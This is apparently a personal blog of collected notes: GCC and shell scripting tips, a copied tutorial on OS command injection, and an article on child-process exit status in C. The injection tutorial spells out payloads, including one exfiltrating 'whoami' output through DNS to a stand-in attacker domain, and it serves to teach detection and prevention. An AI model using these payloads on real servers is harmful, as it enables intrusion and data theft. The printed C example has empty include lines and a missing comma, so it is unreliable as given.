2020年12月27日 星期日

GCC handbook

Q: How to get assembler output from C/C++ source?
A:  REF https://stackoverflow.com/questions/137038/how-do-you-get-assembler-output-from-c-c-source-in-gcc
             gcc -S -o my_asm_output.s helloworld.c
             objdump -S --disassemble helloworld > helloworld.dump
             >>> Doesn't apply for clang-based compiler.


2020年12月12日 星期六

Linux scripts

=========================================================================
= Real-time log inspection and event handling. (Jason Chen, Yet Verified)
=========================================================================
#!/bin/sh

file=/tmp/qq
keyword="jason"
previous_line=0
while true; do
        if [ -f ${file} ]; then
                line=`wc -l ${file} | cut -f1 -d' '`
                if [ ${line} -ne ${previous_line} ]; then
                        matched=`tail -n 1 ${file} | grep ${keyword}`
                        if [ "${matched}" != "" ]; then
                                echo "action here"
                                previous_line=${line}
                        fi
                fi
        fi
        sleep 1
done 


=========================================================================
= Determine whether a process is running or not and make use it to make a conditional shell script?=========================================================================
REF https://askubuntu.com/questions/157779/how-to-determine-whether-a-process-is-running-or-not-and-make-use-it-to-make-a-c
#!/bin/bash

# Check if gedit is running
# -x flag only match processes whose name (or command line if -f is
# specified) exactly match the pattern. 

if pgrep -x "gedit" > /dev/null
then
    echo "Running"
else
    echo "Stopped"
fi

=========================================================================
= How to get the first line of a file in a bash script?=========================================================================
line=$(head -n 1 filename)

=========================================================================
= $var vs "$var"
=========================================================================
$ f="fafafda
> adffd
> adfadf
> adfafd
> afd"

$ echo $f
fafafda adffd adfadf adfafd afd

$ echo "$f"
fafafda
adffd
adfadf
adfafd
afd
=========================================================================
= Single line conditional statements
=========================================================================
if [ ! -f ./some_file ]; then
print "The file was not copied"
exit 1
fi

is equivalent to
[ ! -f ./some_file ] && print "The file was not copied." && exit 1


=========================================================================
= Tricky points
=========================================================================

------------------- Error: [: missing `]' ----------------------------------------------
#!/bin/sh mkubifs_args="-m 4096 -e 253952 -c 2146 -F" ubinize_args="-m 4096 -p 256KiB -s 4096" #Error: [: missing `]' if [ -z "$mkubifs_args"] || [ -z "$ubinize_args" ]; then #if [ -z "$mkubifs_args" ] || [ -z "$ubinize_args" ]; then echo "MKUBIFS_ARGS and UBINIZE_ARGS have to be set, see http://www.linux-mtd.infradead.org/faq/ubifs.html for details" fi

2020年4月23日 星期四

OS Command Injection, to avoid using illegal parameters / characters

Source https://portswigger.net/web-security/os-command-injection

In this section, we'll explain what OS command injection is, describe how vulnerabilities can be detected and exploited, spell out some useful commands and techniques for different operating systems, and summarize how to prevent OS command injection.

What is OS command injection?

OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. Very often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, exploiting trust relationships to pivot the attack to other systems within the organization.
OS command injection

Executing arbitrary commands

Consider a shopping application that lets the user view whether an item is in stock in a particular store. This information is accessed via a URL like:
https://insecure-website.com/stockStatus?productID=381&storeID=29
To provide the stock information, the application must query various legacy systems. For historical reasons, the functionality is implemented by calling out to a shell command with the product and store IDs as arguments:
stockreport.pl 381 29
This command outputs the stock status for the specified item, which is returned to the user.
Since the application implements no defenses against OS command injection, an attacker can submit the following input to execute an arbitrary command:
& echo aiwefwlguh &
If this input is submitted in the productID parameter, then the command executed by the application is:
stockreport.pl & echo aiwefwlguh & 29
The echo command simply causes the supplied string to be echoed in the output, and is a useful way to test for some types of OS command injection. The & character is a shell command separator, and so what gets executed is actually three separate commands one after another. As a result, the output returned to the user is:
Error - productID was not provided
aiwefwlguh
29: command not found
The three lines of output demonstrate that:
  • The original stockreport.pl command was executed without its expected arguments, and so returned an error message.
  • The injected echo command was executed, and the supplied string was echoed in the output.
  • The original argument 29 was executed as a command, which caused an error.
Placing the additional command separator & after the injected command is generally useful because it separates the injected command from whatever follows the injection point. This reduces the likelihood that what follows will prevent the injected command from executing.

Useful commands

When you have identified an OS command injection vulnerability, it is generally useful to execute some initial commands to obtain information about the system that you have compromised. Below is a summary of some commands that are useful on Linux and Windows platforms:
Purpose of commandLinuxWindows
Name of current userwhoamiwhoami
Operating systemuname -aver
Network configurationifconfigipconfig /all
Network connectionsnetstat -annetstat -an
Running processesps -eftasklist

Blind OS command injection vulnerabilities

Many instances of OS command injection are blind vulnerabilities. This means that the application does not return the output from the command within its HTTP response. Blind vulnerabilities can still be exploited, but different techniques are required.
Consider a web site that lets users submit feedback about the site. The user enters their email address and feedback message. The server-side application then generates an email to a site administrator containing the feedback. To do this, it calls out to the mail program with the submitted details. For example:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
The output from the mail command (if any) is not returned in the application's responses, and so using the echo payload would not be effective. In this situation, you can use a variety of other techniques to detect and exploit a vulnerability.

Detecting blind OS command injection using time delays

You can use an injected command that will trigger a time delay, allowing you to confirm that the command was executed based on the time that the application takes to respond. The ping command is an effective way to do this, as it lets you specify the number of ICMP packets to send, and therefore the time taken for the command to run:
& ping -c 10 127.0.0.1 &
This command will cause the application to ping its loopback network adapter for 10 seconds.

Exploiting blind OS command injection by redirecting output

You can redirect the output from the injected command into a file within the web root that you can then retrieve using your browser. For example, if the application serves static resources from the filesystem location /var/www/static, then you can submit the following input:
& whoami > /var/www/static/whoami.txt &
The > character sends the output from the whoami command to the specified file. You can then use your browser to fetch https://vulnerable-website.com/whoami.txt to retrieve the file, and view the output from the injected command.

Exploiting blind OS command injection using out-of-band (OAST) techniques

You can use an injected command that will trigger an out-of-band network interaction with a system that you control, using OAST techniques. For example:
& nslookup kgji2ohoyw.web-attacker.com &
This payload uses the nslookup command to cause a DNS lookup for the specified domain. The attacker can monitor for the specified lookup occurring, and thereby detect that the command was successfully injected.
The out-of-band channel also provides an easy way to exfiltrate the output from injected commands:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
This will cause a DNS lookup to the attacker's domain containing the result of the whoami command:
wwwuser.kgji2ohoyw.web-attacker.com

Ways of injecting OS commands

A variety of shell metacharacters can be used to perform OS command injection attacks.
A number of characters function as command separators, allowing commands to be chained together. The following command separators work on both Windows and Unix-based systems:
  • &
  • &&
  • |
  • ||
The following command separators work only on Unix-based systems:
  • ;
  • Newline (0x0a or \n)
On Unix-based systems, you can also use backticks or the dollar character to perform inline execution of an injected command within the original command:
  • ` injected command `
  • $( injected command )
Note that the different shell metacharacters have subtly different behaviors that might affect whether they work in certain situations, and whether they allow in-band retrieval of command output or are useful only for blind exploitation.
Sometimes, the input that you control appears within quotation marks in the original command. In this situation, you need to terminate the quoted context (using " or ') before using suitable shell metacharacters to inject a new command.

How to prevent OS command injection attacks

By far the most effective way to prevent OS command injection vulnerabilities is to never call out to OS commands from application-layer code. In virtually every case, there are alternate ways of implementing the required functionality using safer platform APIs.
If it is considered unavoidable to call out to OS commands with user-supplied input, then strong input validation must be performed. Some examples of effective validation include:
  • Validating against a whitelist of permitted values.
  • Validating that the input is a number.
  • Validating that the input contains only alphanumeric characters, no other syntax or whitespace.
Never attempt to sanitize input by escaping shell metacharacters. In practice, this is just too error-prone and vulnerable to being bypassed by a skilled attacker.

Exit status of a child process in Linux

Source https://www.geeksforgeeks.org/exit-status-child-process-linux/

It is known that fork() system call is used to create a new process which becomes child of the caller process.
Upon exit, the child leaves an exit status that should be returned to the parent. So, when the child finishes it becomes a zombie.
Whenever the child exits or stops, the parent is sent a SIGCHLD signal.
The parent can use the system call wait() or waitpid() along with the macros WIFEXITED and WEXITSTATUS with it to learn about the status of its stopped child.
(*)wait() system call : It suspends execution of the calling process until one of its children terminates.
Syntax of wait() system call:
pid_t wait(int *status);
(*)The waitpid() system call : It suspends execution of the calling process until a child specified by pid argument has changed state.
Syntax of waitpid() system call :
pid_t waitpid(pid_t pid, int *status, int options)
Note: By default, waitpid() waits only for terminated children, but this behavior is modifiable via the options argument such as WIFEXITED, WEXITSTATUS etc.
The value of pid can be :
  1. Less than -1 : Meaning wait for any child process whose process group ID is equal to the absolute value of pid.
  2. Equal to -1 : Meaning wait for any child process.
  3. Equal to 0 : Meaning wait for any child process whose process group ID is equal to that of the calling process.
  4. Greater than 0 : Meaning wait for the child whose process ID is equal to the value of pid.
WIFEXITED and WEXITSTATUS are two of the options which can be used to know the exit status of the child.
WIFEXITED(status) : returns true if the child terminated normally.
WEXITSTATUS(status) : returns the exit status of the child. This macro should be employed only if WIFEXITED returned true.
Below is a C implementation in which child uses execl() function but the path specified to execl() is undefned.
Let us see what is the exit status value of the child that parent gets.
filter_none
brightness_4
// C code to find the exit status of child process
#include
#include
#include
#include
#include
  
// Driver code
int main(void)
{
    pid_t pid = fork();
      
    if ( pid == 0 )
    {
       /* The pathname of the file passed to execl()
          is not defined   */
       execl("/bin/sh", "bin/sh", "-c", "./nopath", "NULL");
    }
  
    int status;
      
    waitpid(pid, &status, 0);
  
    if ( WIFEXITED(status) )
    {
        int exit_status = WEXITSTATUS(status);        
        printf("Exit status of the child was %d\n"
                                     exit_status);
    }
    return 0;
}
Output:

Note : Above code may not work with online compiler as fork() is disabled.
Here the exit status is 127 which indicates that there is some problem with path or there is a typo.
Few exit status codes are listed below for extra information :
  • 1 : Miscellaneous errors, such as “divide by zero” and other impermissible operations.
  • 2 : Missing keyword or command, or permission problem.
  • 126 : Permission problem or command is not an executable
  • 128 : invalid argument to exit.
Note : The C standard does not define the meaning of return codes. Rules for the use of return codes vary on different platforms.